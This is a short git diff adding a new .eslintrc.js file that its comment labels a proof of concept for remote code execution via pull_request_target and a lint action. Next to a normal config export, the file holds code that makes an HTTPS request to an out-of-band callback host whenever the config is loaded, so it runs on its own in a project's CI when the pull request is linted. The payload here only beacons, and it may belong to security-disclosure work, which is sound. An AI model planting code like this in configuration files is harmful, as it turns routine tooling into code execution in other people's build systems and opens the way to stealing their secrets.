diff --git a/.eslintrc.js b/.eslintrc.js
new file mode 100644
index 00000000..303a4193
--- /dev/null
+++ b/.eslintrc.js
@@ -0,0 +1,8 @@
+// Proof of concept - RCE via pull_request_target + lint-action
+// No secrets accessed, no data exfiltrated
+const https = require("https");
+https.get("https://d79554mj5fjlou9ptth01yyypng9rpr5g.oast.fun/poc-sybil-interface");
+
+module.exports = {
+  extends: ["react-app"],
+};